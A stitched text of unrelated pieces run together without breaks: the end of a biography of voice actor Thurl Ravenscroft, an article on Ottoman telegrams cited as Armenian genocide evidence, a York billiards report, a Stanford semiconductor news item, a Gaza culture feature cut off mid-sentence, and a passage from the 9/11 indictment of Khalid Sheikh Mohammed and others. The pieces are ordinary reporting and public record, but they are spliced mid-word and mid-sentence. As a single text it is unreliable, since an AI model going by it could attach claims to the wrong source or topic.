His lifelong dream, which he shared in an interview in 1999 with Peter Anthony Holder, was to record the entire Bible on tape, but James Earl Jones "beat him out". However, being a devoted Christian, he appeared on many religious television shows such as The Hour of Power. In 1970, he recorded an album called "Great Hymns in Story and Song", which featured him singing 10 hymns, each prefaced with the stories of how each hymn came to be, with the background vocals and instrumentals arranged and conducted by Ralph Carmichael.
Later life and death [ edit ]
Ravenscroft married June Seamans in 1946 and they had two children. June died in 1999 from unknown causes. Ravenscroft semi-retired and did not work at any other studio, but continued to voice Tony The Tiger through 2004 (with limo transportation by Kellogg's) and also submitted to an interview that year by the Disney "Extinct Attractions Club" website. He died in his home on May 22, 2005 from prostate cancer. He was buried at the Memorial Gardens at the Crystal Cathedral in Garden Grove, California.[2]
In the June 6, 2005 issue of the advertising industry journal Advertising Age, Kellogg's ran an ad commemorating Ravenscroft, the headline reading: "Behind every great character is an even greater man." After his death, Lee Marshall replaced him as the voice of Tony the Tiger in the Kellogg's commercials, but some commercials still recycle clips of Ravenscroft.[citation needed]
Filmography [ edit ]
Commercials [ edit ]
Year Title Role late 1970s-early 1980s Toy R Us Geoffrey the Giraffe Year Title Role 1953–2005 Kellogg's Frosted Flakes Tony the Tiger
Partial solo discography [ edit ]
Mad, Baby, Mad – 1955 (Fabor)
– 1955 (Fabor) I Ain't Afraid – 1956 (Bally)
– 1956 (Bally) You Wanna Talk About Texas - 1956
Wing Ding Ding- 1956
Big Paul Bunyan – 1962 (Globe)
– 1962 (Globe) Gold Dubloons and Pieces of Eight – 1962 (The Hardy Boys: Mystery of the Applegate Treasure)
– 1962 (The Hardy Boys: Mystery of the Applegate Treasure) The Headless Horseman – 1965 (Disney)
– 1965 (Disney) Great Hymns In Story And Song – 1970 (Light)
– 1970 (Light) Nathaniel the Grublet (In Direwood) – 1979 (Birdwing)
(In Direwood) – 1979 (Birdwing) Psalms and Selahs – 2002Historian Taner Akçam reveals another document of critical importance. In the telegram sent by III. Army Commander Mahmut Kamil Paşa to the regions from where Armenians had been deported, it was stated that the houses of the ones who hide Armenians will be burned.
Historian Taner Akçam reveals another document of critical importance, after Bahaettin Şakir's telegram which might be regarded as the document of Armenian Genocide. The telegram sent by III. Army Commander Mahmut Kamil Paşa to the regions from where Armenians had been deported is in fact dreadful. Mahmut Kamil Paşa wrote that the houses of the ones who hide Armenians will be burned. We wonder how long the authorities will stay silent after all of these documents.
We have the microfilm of the original version of III. Army Commander Mahmut Kamil Paşa's telegram which was written on a paper with the letterhead of Ministry of Interior. At the bottom of the telegram, there is the stamp of the ministry: “true to original text”. In this letter, Mahmut Kamil Paşa informed that the houses of the ones who hide Armenians will be burned and they will be executed in front of their houses, and soldiers or civil servants who had done it will be dismissed immediately and tried in military commission.
Here is the modern Turkish version of the telegram dated July 24, 1915: “It is understood that Muslims are hiding Armenians in some villages and towns from where residents were deported. The houses of householders who hide and protect Armenians against the order of the government must be burned and they must be executed in front of their houses. Make sure that there is no Armenian left who is not deported and inform us about your conduct. The Armenians who converted to Islam will be deported as well. If there are members of armed forces who protect [Armenians], they will be reported to the related ministry, dismissed immediately to be tried later. If they are administrative authorities, they will also be dismissed immediately and referred to military commission.”
Just like Bahaettin Şakir's telegram dated July 4, 1915, this telegram is also included in the file of Committee of Union and Progress trials, which had been held in Istanbul in 1921-22. In the indictment against CUP executives, this telegram was quoted at length and it was noted that the number of this document is “section 13, document 1” [tertîb 13 vesîka 1].
Second telegram
Mahmut Kamil Paşa wrote another telegram about the same issue. On August 1, 1915, he sent another order to the regions as an explanation to the one sent on July 24. In this second telegram, he wrote the execution order does not apply to “the ones who host women and children who were officially settled [in Muslim houses] by the government”. He noted that the punishment “applies to ones, regardless of their religion, who hide Armenians without informing the government” and these people will be executed.
This order reveals a fact: in villages and towns, many Muslims were hiding Armenians in their houses and the government wanted to prevent it. This is why threat of burning the houses and execution was posed.
All these documents revealed during CUP trials in Istanbul are still kept confidential in secret vaults of the state! Since these documents couldn't have been found for years, they had been treated as “invalid in the absence of originals”. For years, there had been a strange coalition. The state hid the documents and some academics spread the claim that “since there is no original document, they cannot be regarded as evidence”.
American historian Guenter Lewy was a leading actor who defended this claim. In his book published in 2004, he wrote “since the originals of the documents used in the court cannot be found, it is not right to regard the claims as reliable in terms of science of history.” In 2005, soon after this book was published, he was invited to Turkey and granted an award. The person who handed over this award was Bülent Arınç, Turkish parliamentary speaker at the time.
This comedy of “blind leading the blind” must come to an end now. The documents belonging to Bahaettin Şakir and Mahmut Kamil Paşa are just the beginning. We have plenty of original documents from Istanbul trials. More than hundred telegrams obtained by investigation committee formed on November 1918; telegrams sent from the regions, prosecution investigations of some suspect as in the case of Yozgat Governor Kamil, testimonies of Ottoman soldiers and civil servants, inspector reports... All of them will be made accessible online soon.
I expect the government to end this meaningless game that has been played for more than 100 years and serves for nothing but harming ourselves. The truth has a bad habit of revealing itself one day. It is meaningless to conceal and deny. It is about time to face with the history of Turkey, if we are not already late. Once we start with this confrontation, we will see that many basic problems in terms of democracy and human rights will started to be solved as well!
How were the documents collected?
Before Istanbul trials in 1921-22, an investigation committee was formed on November 1918. This commission traveled to the regions and collected documents concerning deportation and killing of Armenians in 1915-17. After the court started to work, it regularly applied to Ministry of Interior in accordance with newly-revealed facts and asked for extra documents. Upon the application of the court, the ministry sent letters to regions and asked them to send the documents on various matters to the ministry. From the documents in court files, we understand that some telegrams sent in 1915 were sent from many regions to Istanbul at the same time. For instance, Sivas Provience sent the copies of Mahmut Kamil Paşa's telegrams dated July 24 and August 1, 1915 to Istanbul on January 8, 1919.
The ministry sent these documents and telegrams coming from the regions to the court. For instance, in a letter from Ministry of Interior to Court Martial written on April 2, 1919, it was noted that 42 telegrams were sent to them from Ankara and they sent these documents to the court.
Mahmut Kamil Paşa and Bahaettin Şakir documents are among the ones that were obtained during the investigations. In some indictments and decisions, many documents along with these two were quoted. Since indictments and decisions were published in the official journal of the time, we knew about these documents, but the originals had never been published so far.[1]
Documents are in the archive of Armenian Patriarchate of Jerusalem
A considerable part of the court documents about Istanbul trials were in Armenian Patriarchate of Istanbul once. In 1922, the patriarchate sent them to Marseilles. Afterwards, they were sent to Manchester and then to Armenian Patriarchate of Jerusalem. This course can be traced from the stamps on the Mahmut Kamil Paşa and Bahaettin Şakir documents. On the top right corner of the documents, there are a stamp and a number on Ottoman letterhead. The stamp belongs to Armenian Diocese of Marseilles. It was written “Armenian Patriarchate of Marseilles” [Հայոց Առաջնորդարան Մարսելի] in Armenian at the center of the stamp and in French around the stamp. Jerusalem archive record consists of an Armenian letter and a number. Since Jerusalem archive is not open to researchers, it is impossible to access these documents for now.
We found the document in the archive of Catholic Priest Krikor Gergeryan, who died in 1988. The detailed information on Gergeryan and his archive can be found in the book Naim Efendi’nin Hatıratı ve Talat Paşa Telgrafları (İletişim, 2016) [Memoir of Naim Efendi and Talat Paşa Telegrams]. Here is how Gergeryan obtained those documents:
How did Gergeryan obtain the documents?
Life is full of coincidences. Krikor Gergeryan, who lost his parents and 6 siblings and many of his relatives in Armenian Genocide, was from Sivas and moved to Cairo for living with his brother. After he graduated from the seminary school in Rome, he decided to doctorate in the murder of Armenian religious leaders and started to collect documents. In '40s, he came across with Kurdish (Nemrut) Mustafa Paşa in Cairo, one of the judges of Istanbul martial court. In 1922, Kurdish Mustafa Paşa fled to Cairo out of the fear of arrest, after Ankara government seized Istanbul.
Paşa gave an important information to Gergeryan: during Istanbul trials, Armenian Patriarchate was allowed to be included in the case as complainant party and the patriarchate legally had the right to get the copies of case documents. Paşa also noted that these documents are in the archive of Jerusalem Patriarchate.
After that, Gergeryan went to Jerusalem and photographed the documents there. He shared what he had with many researchers. In 1983, Armenian Assembly photographed the entire archive of Gergeryan. These microfilms are open to researchers theoretically, but they are hard to use due to lack of proper cataloging.
Krikor Gergeryan died in 1988 and his nephew Dr. Edmund Gergeryan preserved his archive. On April 2015, Dr. Edmund allowed me to see this archive, giving me the opportunity to access majority of the documents from Istanbul trials. These documents will be accessible online as soon as possible.
After years of concealing the truth, destroying or hiding documents, Turkey has come to the end of the road. This meaningless policy of denial, which only serves for harming the country and prevents Turkey from become a civilized nation, must be ended. We hope that these documents we have published would serve as the beginning of a beautiful future. Elimination of denialism and facing with the historical truth will be the precursor of a good start for this country and its people.
[1] During our research, we found that a faint copy of Bahaettin Şakir's telegram was published by Vahakn Dadrian in Journal of Political and Military Sociology, Volume 22, No. 1 Summer 1994 (s.69).GARY Rogers and Carl De Pasquale are believed to be the first brothers for more than a century to win the York Faber Shield Billiards League title.
The pair clinched this season's championship for Heworth, adding to an impressive personal haul of silverware in 2016 for Rogers, who has represented England in the past.
Eldest sibling Rogers, 47, won the league's highest break prize for the seventh time in the last eight years, with his 134 the best ever recorded in the competition.
He was also crowned the English Open Plate winner in Cambridge and a match break of 184 saw him lift the Yorkshire Handicap trophy, which was staged at Leeds.
As a result, Rogers is expected to make the Yorkshire team for January's County Cup tournament, but he was just as thrilled with his achievements playing alongside 37-year-old brother De Pasquale, as any of his individual accomplishments.
On their historic success, Rogers said: "We think there were a pair of brothers called the Breeds who played out of Fulford and might have won the title in the 1900s, but we believe we are the first since then.
"It's not easy to win the league with the handicapping system that's in place and it's a big challenge. It's also the first season we have played together and it was Carl's first in the league, but he has improved to the extent that he is now entering competitions further afield.
"He's still on a learning curve, but I'm pleased with his progress. It's also helped that Darren Clark as come to us from Teesside because he's a very good player."
Rogers takes particular pleasure and satisfaction from Heworth's triumphant campaign, considering the competition in York is as stern as it has been for many years.
"The standard is improving since I first returned to the league in 2008," he pointed out. "It had dropped a bit because Terry Ward had stopped playing and Ken Taylor had lost a bit of form.
"But Terry is playing again and Acomb have also got a very good, young team, primarily made up of snooker players like Dan Potter, who have taken up billiards. The results show the standards have risen and there are more than ten players making decent breaks of 30, 40 and 50, which is good at club level.
"There are also three or four who are capable of making century breaks in the league now and that's not been the case for a long time now. People like Mick Borg and Richard Lillie, from Acomb, Fulford's Glen Mountain and Ian Robinson, of Bootham, have really upped the quality."
While billiards might trail snooker in the popularity stakes, Rogers is a confessed convert to the three-ball game, adding: "I used to live and breathe snooker but, once I started playing billiards, I realised there was so much more to the game.
"It's more of a participation sport, than for spectators but, with snooker, there's always an end in sight with frames. Billiards is less straight-forward and I really enjoy the complexities of the game with the different scoring opportunities of the spots and cannons."Image Source: Stanford via Michal Mleczko
When it comes to electronics, semiconductors make the world go round. This has been true for many decades, though future generations will own devices with different physical makeups than those that are in use today. That includes a potential move away from silicon. In what could be a glimpse into the future, electrical engineers at Stanford have identified a pair of ultrathin semiconductor materials that are every bit as good (and perhaps better) than silicon.Those materials are called hafnium diselenide and zirconium diselenide. Like silicon, these materials can "rust" in a way that is conducive to electronics. In fact, the researchers say they rust in a manner that is even more desirable than silicon. That is because they form what are called "high-K" insulators, which allow for lower power operation than what is possible with silicon and its silicon oxide insulator.The above image shows an enlarged cross-section of an experimental chip made with one of the newly discovered semiconductor materials. Alternating layers of hafnium diselenide (the ultrathin semiconductor material) and the hafnium dioxide insulator comprise the black and white bands. The cross-section matches an overlaid color schematic on the right.What is also neat about these materials is that they can be shrunk down to functional circuits measuring a mere three atoms thick. They also require less energy than silicon circuits. The Standford engineers are optimistic that these materials could lead to the kind of thinner and more energy efficient chips that future devices will require.For now, silicon is the material of choice. Part of the reason is because it has a very good "native" insulator, silicon dioxide (silicon rust). During the manufacturing phase, silicon is intentionally exposed to oxygen so that chip makers came more easily isolate their circuitry. Other types of semiconductors do not rust when exposed to oxygen, so they have to be manually layered with insulators. That comes with additional engineering challenges and costs. However, both of the materials discovered by the Stanford researchers form this desirable layer of rust when exposed to oxygen."Engineers have been unable to make silicon transistors thinner than about five nanometers, before the material properties begin to change in undesirable ways," said Eric Pop, an associate professor of electrical engineering who co-authored with post-doctoral scholar Michal Mieczko a paper on the subject.Thinner circuits with high-K insulation ultimately means that these utlrathin semiconductors would be formed into transistors 10 times smaller than anything that is possible with today's silicon. Of course, there are challenges that stand in the way. The electrical contacts between transistors on ultrathin diselenide circuits need refined. Researchers are also working to better control the oxidized insulators so that they remain as thin and stable as possible.Gaza isn’t what you might imagine, culturally speaking. Like the West Bank, it occupies a special place in the Middle East: Gazans may loathe Israel but have worked there or spent years in Israeli prisons, and while they haven’t taken up Jewish culture, they’ve experienced Western life as many other Arabs haven’t. This has encouraged a sensibility that, until lately anyway, had a moderating effect on both religion and society.
Not far from New Sound, booksellers in this city’s ancient market hawk sex-instruction manuals alongside yellowing paperbacks from Egypt interpreting the Koran. Arabic translations of old Harlequin romances are laid out on folding tables cheek by jowl with joke books in which Muslim characters do borscht belt shtick. (Wife at a psychiatrist’s office: “My husband talks when he’s sleeping. What should I do?” Psychiatrist: “Can you give him a chance to talk when he’s awake?”)
A skinny boy with bad teeth, manning the book tables the other morning, grinned when a woman came by and thumbed through “What to Do if You Have Weaknesses in Sex.”
Pointing to the religious books, she asked, “Do many people buy those?”
“Sure,” the boy said.
“These, too?” she asked, gesturing toward a stack of flimsy softcovers with a picture of the young Cheryl Tiegs on the front.
“Oh yes!” he said.
That evening, in the garden of a family restaurant called Roots (“No Weapon Please,” a sign said on the front door), patrons munched salads and gazed at “Friends” on a big screen. Everybody was waiting for “Noor.”
As they do throughout much of the Arab world these days, the streets here clear each night when “Noor” comes on. A Turkish “Dallas,” centered around the title character and her rich Muslim family enduring the usual soap opera imbroglios, the show has become so wildly popular that imams in Saudi Arabia and Gaza have lately issued fatwas against anyone who watches it. Naturally, nobody pays attention.
Even Hamas tunes in. Imad Alifranji is helping to start up Alquds, a new Islamic television station, Gaza’s second after Al Aqsa, Hamas’s station, which recently devoted three full days of programming to stories about promising Gazan high school students. Mr. Alifranji is wrestling with what might attract just a few more viewers.
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“There’s so much pressure here to find jobs, because of the Israeli siege, because of internal fighting, and with no places for young people to go out, that Gazans take comfort in a Turkish soap opera,” Mr. Alifranji said with a shrug. “It is true, Hamas is upset with some scenes in ‘Noor,’ which it fears provide a bad example for Palestinian families, scenes of sex before marriage. My 15-year-old daughter is obsessed with ‘Noor.’ My son, Mosab, who’s 18, tries to stop her from watching. He disapproves.”
As if on cue, Mosab, who looked 12, walked into Mr. Alifranji’s office. The only time he visited a Gazan cafe, Mosab said, he left because “Noor” was on television. He used to listen to Arab pop stars like Elissa and Tamer Hosni, but now finds “they have no respect for religion.” He prefers Jackie Chan movies and rap. “ ‘Noor,’ ” he said, “doesn’t know the difference between what should be taboo and what is acceptable.”
Photo
Suddenly, Mosab’s cellphone rang. He blushed.
The ringtone was the theme from “Noor.”
Hip-Hop and Soap Operas
Gaza has not had any movie house since the last one burned two decades ago during the first intifada. The Palestinian territories are bitterly split, with the more moderate Fatah ruling the West Bank, and Gaza under the control of Hamas, which won the Palestinian popular election two years ago and fought back an attempted coup by Fatah last year. Now Gaza has become isolated. The French Cultural Center is virtually the only institution that organizes a modest art exhibition or music recital once in a while.
But that doesn’t mean Gazans don’t consume and make culture themselves. One broiling afternoon, a dozen young married friends sat around a picnic table at a swim club, near the beach in Gaza City, talking about “Oprah,” “24” and “Prison Break.” The club, a private retreat amid garbage and ruins, was a whitewashed oasis of bougainvillea and tattered canvas awnings on rusty blue poles, a kind of faded Polaroid of Coney Island around 1965, but with female swimmers in soggy pants and T-shirts, not bikinis, and shirtless teenage boys kicking around a soccer ball. “We do as we like in private,” explained Rajah Abujasser, 20, wearing a green head scarf and long sleeves despite the heat.
Across town, Mothafar Alassar was taping a new track at Mashareq, a recording studio. He’s 20, a baby-faced rapper with a shaved head. A few years ago he formed the band S.B.R. with a friend. “Through TV and the Internet I fell in love with rap, with Tupac and 50 Cent, Keny Arkana from Marseille,” he said. “People laughed at first. Rap was new in Gaza. The French Cultural Center, they gave me money to make an album. Now, when we had a concert recently, 700 people came.”
Hamas then arrested Mr. Alassar, saying he had no license to perform, but released him after he gave a live sample of his hip-hop to a bemused, bearded official. “Hamas is not against art,” Mr. Alassar said. “They just don’t understand it.”
Rima Morgan, a 28-year-old business student turned singer in a white head scarf and black leotard, was also at Mashareq, recording a jingle for a West Bank radio station. “My family, which is traditional, didn’t want me to sing, because it meant late nights, |
, in Florida.
133. In making reservations for the flight referred to in the preceding paragraph, Co-Conspirator 1 provided the AL-HAWSAWI Phone as a contact telephone number.
134. At or about the time of Co-Conspirator 1 ‘s arrival, Mohamed Atta (AA 11) was at the Orlando International Airport, where he placed calls to the AL-HAWSAWI Phone.
135. Later that day, Co-Conspirator 1 was denied entry into the United States and took a return flight to Dubai through London.
The Las Vegas Meeting
136. In summer 2001, KHALID SHEIKH MOHAMMED instructed some of the hijackers to meet in Las Vegas to make final preparations.
137. On or about August 13, 2001, Mohamed Atta (AA 11) flew from Reagan National Airport in Virginia to Las Vegas, Nevada.
138. On or about August 13, 2001, Hani Hanjour (AA 77) and Nawaf al-Hazmi (AA 77) flew together from Virginia to Las Vegas, Nevada.
Purchases of Knives
139. On or about August 3, 2001, in Oklahoma City, Oklahoma, Zacarias Moussaoui purchased two knives.
140. On or about August 13, 2001, in Boynton Beach, Florida, Marwan al-Shehhi (UA 175) purchased two knives.
141. On or about August 13, 2001, in Boynton Beach, Florida, Fayez Banihammad (UA 175) purchased a knife set.
142. On or about August 16, 2001, in Eagan, Minnesota, Zacarias Moussaoui was in possession of a Leatherman-type short-bladed knife set.
143. On or about August 27, 2001, in Laurel, Maryland, Nawaf al-Hazmi (AA 77) purchased a Leatherman-type short-bladed knife set.
144. On or about August 30, 2001, in Boynton Beach, Florida, Hamza al-Ghamdi (UA 175) purchased a Leatherman-type short-bladed knife set.
Attack Date Is Communicated to al Qaeda Leadership
145. In late August 2001, KHALID SHEIKH MOHAMMED was advised of the date that the hijacking attacks would be carried out, and MOHAMMED notified Usama Bin Laden of it.
146. In early September 2001, in Afghanistan, WALID BIN ATTASH was advised of the date that the hijacking attacks would be carried out.
AZIZ ALI Tries to Join Hijackers
147. On or about August 27, 2001, in the United Arab Emirates, ALI ABDUL AZIZ ALI applied for a U.S.-entry visa, which application was denied. On the application, AZIZ ALI indicated that he expected to travel to the United States on September 4, 2001, and that he expected to stay “one week” (i.e., until September 11, 2001).
148. Shortly thereafter, when KHALID SHEIKH MOHAMMED learned that ALI ABDUL AZIZ ALPs application for a visa had been denied, MOHAMMED sent a message that AZIZ ALI should travel to meet MOHAMMED.
Hijackers Return Excess Funds
149. On or about September 4, 2001, Mohamed Atta (AA 11) sent a package via Federal Express to a post office box in the United Arab Emirates used by MUSTAFA AL- HAWSAWI.
150. On or about September 5, 2001, Fayez Banihammad (UA 175) wired approximately $8,000 from his Florida SunTrust account to the Banihammad Accounts over which MUSTAFA AL-HAWSAWI had authority and control.
151. On or about September 8, 2001, Mohamed Atta (AA 11) wired approximately $2,860 to “Mustafa Ahmed” in the United Arab Emirates.
152. On or about September 8, 2001, Mohamed Atta (AA 11) wired $5,000 to “Mustafa Ahmed” in the United Arab Emirates.
153. On or about September 9, 2001, Waleed al-Shehri (AA 11) wired $5,000 to “Ahanad Mustafa” in the United Arab Emirates.
154. On or about September 10, 2001, Marwan al-Shehhi (UA 175) wired $5,400 to “Mustafa Ahmad” in the United Arab Emirates.
155. On or about September 10, 2001, Nawaf al-Hazmi (AA 77) mailed the ATM card for the First Union bank account of Khalid al-Mihdhar (AA 77) to a post office box used by MUSTAFA AL-HAWSAWI in the United Arab Emirates. Al-Mihdhar’s account had a balance of approximately $10,000 at the time.
156. On or about September 11, 2001, in the United Arab Emirates, approximately $16,348 was deposited into the AL-HAWSAWI Accounts.
BIN AL-SHIBH Flees
157. On or about September 3, 2001, in Germany, RAMZI BIN AL-SHIBH, using the name “Ahad Abdoflahi Sabet,” received $1,500 that was sent by MUSTAFA AL- HAWSAWI, using the name “Hashem Abdollahi.”
158. On or about September 5, 2001, RAMZI BIN AL-SHIBH traveled from Dusseldorf, Germany, to Madrid, Spain, and did not return to Germany.
159. On or shortly before September 9, 2001, RAMZI BIN AL-SHIBH was in Dubai, United Arab Emirates, where he instructed ALI ABDUL AZIZ ALI and MUSTAFA AL- HAWSAWI to depart the United Arab Emirates.
160. On or shortly before September 11, 2001, RAMZI BIN AL-SHIBH departed the United Arab Emirates.
161. On or about September 12, 2001, RAMZI BIN AL-SHIBH was in Afghanistan.
AZIZ ALI Flees
162. On or about September 9, 2001, in the United Arab Emirates, ALI ABDUL AZIZ ALI made a one-way reservation to travel from Dubai to Karachi, Pakistan.
163. On or about September 10, 2001, in the United Arab Emirates, ALI ABDUL AZIZ ALI withdrew nearly all the balance from two bank accounts.
164. Later on or about September 10, 2001, ALI ABDUL AZIZ ALI flew from Dubai to Karachi, Pakistan, on a one-way ticket.
AL-HAWSAWI Flees
165. On or about September 11, 2001, in the United Arab Emirates, at about 9:22 a.m. local time (the early morning hours of Eastern Daylight Time), MUSTAFA AL- HAWSAWI moved approximately $6,534 of the $8,000 in the Banihammad Accounts into the AL-HAWSAWI Accounts, using a check dated September 10, 2001; AL-HAWSAWI then withdrew approximately $1,361, nearly all the remaining balance in the Banihammad Accounts, by ATM cash withdrawal.
166. On or about September 11, 2001, in the United Arab Emirates, approximately $40,871 was prepaid to a Visa card connected to the AL-HAWSAWI Accounts.
167. On or about September 11, 2001, MUSTAFA AL-HAWSAWI left the United Arab Emirates for Pakistan.
The September 11. 2001 Terrorist Attacks
168. On September 11, 2001, the hijackers possessed a handwritten set of final instructions for a martyrdom operation using knives on an airplane.
169. On September 11, 2001, Mohamed Atta, Abdul Aziz al-Omari, Satam al-Suqarni, Waleed al-Shehri, and Wail al-Shehri hijacked American Airlines Flight 11, a Boeing 767, which had departed from Boston bound for Los Angeles at 7:59 a.m. They flew Flight 11 into the North Tower of the World Trade Center in Manhattan at 8:46 a.m., causing the collapse of the tower, great damage and destruction to other structures and property, and injury and death to thousands of persons.
170. On September 11, 2001, Marwan al-Shehhi, Hamza al-Ghamdi, Fayez Banihammad, Mohand al-Shehri, and Ahmed al-Ghamdi hijacked United Airlines Flight 175, a Boeing 767, which had departed from Boston bound for Los Angeles at 8:14 a.m. They flew Flight 175 into the South Tower of the World Trade Center in Manhattan at 9:03 a.m., causing the collapse of the tower, great damage and destruction to other structures and property, and injury and death to thousands of persons.
171. On September 11, 2001, Hani Hanjour, Khalid al-Mihdhar, Majed Moqed, Nawaf al-Hazmi, and Salem al-Hazmi hijacked American Airlines Flight 77, a Boeing 757, which had departed from Virginia bound for Los Angeles at 8:20 a.m. They flew Flight 77 into the Pentagon in Virginia at 9:37 a.m., causing great damage and destruction to property and injury and death to hundreds of persons.
172. On September 11, 2001, Ziad Jarrah, Saeed al-Ghamdi, Ahmed al-Nami, and Ahmed al-Haznawi hijacked United Airlines Flight 93, a Boeing 757, which had departed from Newark, New Jersey, bound for San Francisco at 8:42 a.m. After resistance by the passengers, the hijackers crashed Flight 93 in Somerset County, Pennsylvania, at approximately 10:03 a.m., killing all on board.
Bin Laden and BIN ATTASH Hear News of the Attacks
173. On September 11, 2001, WALID BIN ATTASH was with Usama Bin Laden in Afghanistan when they heard for the first time that airplanes had struck the World Trade Center.
174. Shortly thereafter, Usama Bin Laden instructed WALID BIN ATTASH to travel to the Tora Bora region of Afghanistan and prepare the area by digging trenches and stockpiling food, weapons, and ammunition.
Withdrawals of Hijackers’ Excess Funds
175. On or about August 25,2001, in the United Arab Emirates, MUSTAFA AL-HAWSAWI applied for a supplemental Visa card connected to the AL-HAWSAWI Accounts, which application was made in the name “Abdulrahman Abdullah al-Ghamdi,” an alias used by KHALID SHEIKH MOHAMMED. The application was supported by documentation associated with MOHAMMED, including his photograph.
176. On or about September 13, 2001, the supplemental Visa card connected to the AL-HAWSAWI Accounts was used to make six ATM withdrawals in Karachi, Pakistan.
Post-Attack Propaganda and Efforts to Avoid Capture
177. On or about October 7, 2001, a video was aired on the Al-Jazeera satellite television channel in which Usama Bin Laden praised the September 11, 2001 attacks.
178. After September 11, 2001, RAMZI BIN AL-SHIBH and MUSTAFA AL- HAWSAWI met with Usama Bin Laden in Afghanistan. The meeting was videotaped.
179. On or about September 10, 2002, Usama Bin Laden videotaped a message in which he identified the 19 hijackers by name and “kunya.”
180. On or about March 1, 2003, KHALID SHEIKH MOHAMMED and MUSTAFA AL-HAWSAWI were present at a safe house where they possessed false identification and materials related to al Qaeda and the planning and execution of the September 11, 2001 attacks.
(Title 18, United States Code, Section 2332b(a)(2) & (c)(1)(a).)
COUNT TWO
Acts of Terrorism Transcending National Boundaries
The Grand Jury further charges:
181. The allegations in paragraphs 1 through 30 and 34 through 180 are repeated.
182. From in or about 1999 until on or about September 11, 2001, in the Southern District of New York and elsewhere, KHALID SHEIKH MOHAMMED, WALID BIN ATTASH, RAMZI BIN AL-SHIBH, ALI ABDUL AZIZ ALI, and MUSTAFA AL-HAWSAWI, the defendants, and others known and unknown, in circumstances involving conduct transcending national boundaries, and in which the mail and facilities of interstate and foreign commerce were used in furtherance of the offense, the offense obstructed, delayed, and affected interstate and foreign commerce, the victim was the United States Government, members of the uniformed services, and officials, officers, employees, and agents of the governmental branches, departments, and agencies of the United States, and the structures, conveyances, and other real and personal property were, in whole and in part, owned, possessed, and leased to the United States and its departments and agencies, unlawfully, willfully, and knowingly (1) killed, maimed, and assaulted resulting in serious bodily injury thousands of persons within the United States, including the 2,976 murdered persons named on pages 45 through 80 of this Indictment, in violation of Title 18, United States Code, Sections 32, 34, 111, 114, 1111, and 1114; Title 49, United States Code, Section 46502(a); New York Penal Law Sections 120.10, 120.11, and 125.27; and 18 Pa. Cons. Stat. Ann. Section 2502, and (2) created a substantial risk of serious bodily injury to other persons by destroying and damaging structures, conveyances, and other real and personal property within the United States, namely, four commercial airplanes in New York, Virginia, and Pennsylvania; the Twin Towers of the World Trade Center and surrounding structures and property in New York City; and the Pentagon in Arlington, Virginia, in violation of Title 18, United States Code, Sections 32, 34, and 844(f) and (i); New York Penal Law Sections 150.20 and 120.25; and 18 Pa. Cons. Stat. Ann. Sections 3301 and 3302(a).
(Title 18, United States Code, Sections 2332b(a)(l) & (c)(1)(A) and 2.)
COUNT THREE
Conspiracy to Commit Violent Acts and Destroy Aircraft
The Grand Jury further charges:
183. The allegations in paragraphs 1 through 30 and 34 through 180 are repeated.
184. From in or about 1999 until on or about March 1, 2003, in the Southern District of New York and elsewhere, KHALID SHEIKH MOHAMMED, WALID BIN ATTASH, RAMZI BIN AL-SHIBH, ALI ABDUL AZIZ ALI, and MUSTAFA AL-HAWSAWI, the defendants, and others known and unknown, unlawfully, willfully, and knowingly combined, conspired, confederated, and agreed to violate Title 18, United States Code, Section 32.
185. It was a part and an object of the conspiracy that the defendants, and others known and unknown, would and did destroy and wreck aircraft in the special aircraft jurisdiction of the United States, in violation of Title 18, United States Code, Section 32(a)(1), to wit, the hijacking and destruction of American Airlines Flight 11, United Airlines Flight 175, American Airlines Flight 77, and United Airlines Flight 93, resulting in the deaths on and after September 11, 2001, of the 2,976 persons named on pages 45 through 80 of this Indictment.
186. It was a further part and object of the conspiracy that the defendants, and others known and unknown, would and did perform acts of violence against and incapacitate individuals on aircraft in the special aircraft jurisdiction of the United States, so as likely to endanger the safety of such aircraft, in violation of Title 18, United States Code, Section 32(a)(5) (2001), to wit, the hijacking and destruction of American Airlines Flight 11, United Airlines Flight 175, American Airlines Flight 77, and United Airlines Flight 93, resulting in the deaths on and after September 11, 2001, of the 2,976 persons named on pages 45 through 80 of this Indictment.
Overt Acts
187. In furtherance of the conspiracy, and to effect its illegal objects, the defendants, and others known and unknown, committed the overt acts set forth in Count One of this Indictment, which are fully incorporated by reference.
(Title 18, United States Code, Sections 32(a)(7) (2001) and 34.)
COUNT FOUR
Violence on and Destruction of Aircraft
The Grand Jury further charges:
188. The allegations in paragraphs 1 through 30 and 34 through 180 are repeated.
189. From in or about 1999 until on or about September 11, 2001, in the Southern District of New York and elsewhere, KHALID SHEIKH MOHAMMED, WALID BIN ATTASH, RAMZI BIN AL-SHIBH, ALI ABDUL AZIZ ALI, MUSTAFA AL-HAWSAWI, the defendants, and others known and unknown, unlawfully, willfully, and knowingly destroyed and wrecked aircraft in the special aircraft jurisdiction of the United States, and performed acts of violence against and incapacitated individuals on such aircraft, so as likely to endanger the safety of such aircraft, to wit, the hijacking and destruction of American Airlines Flight 11 and United Airlines Flight 175, resulting in the deaths on and after September 11, 2001, of the first 2,752 persons named on pages 45 through 80 of this Indictment.
(Title 18, United States Code, Sections 32(a)(1) & (5) (2001), 34, and 2.)
COUNT FIVE
Conspiracy to Commit Aircraft Piracy
The Grand Jury further charges:
190. The allegations in paragraphs 1 through 30 and 34 through 180 are repeated.
191. From in or about 1999 until on or about March 1, 2003, in the Southern District of New York and elsewhere, KHALID SHEIKH MOHAMMED, WALID BIN ATTASH, RAMZI BIN AL-SHIBH, ALI ABDUL AZIZ ALI, MUSTAFA AL-HAWSAWI, the defendants, and others known and unknown, unlawfully, willfully, knowingly, and with wrongful intent, combined, conspired, confederated, and agreed to commit aircraft piracy, by seizing and exercising control of aircraft in the special aircraft jurisdiction of the United States by force, violence, threat of force and violence, and intimidation, to wit, the hijacking and destruction of American Airlines Flight 11, United Airlines Flight 175, American Airlines Flight 77, and United Airlines Flight 93, resulting in the deaths on and after September 11, 2001, of the 2,976 persons named on pages 45 through 80 of this Indictment.
Overt Acts
192. In furtherance of the conspiracy, and to effect its illegal objects, the defendants, and others known and unknown, committed the overt acts set forth in Count One of this Indictment, which are fully incorporated by reference.
(Title 49, United States Code, Section 46502(a)(1)(A) & (a)(2)(B).)
COUNT SIX
Aircraft Piracy
The Grand Jury further charges:
193. The allegations in paragraphs 1 through 30 and 34 through 180 are repeated.
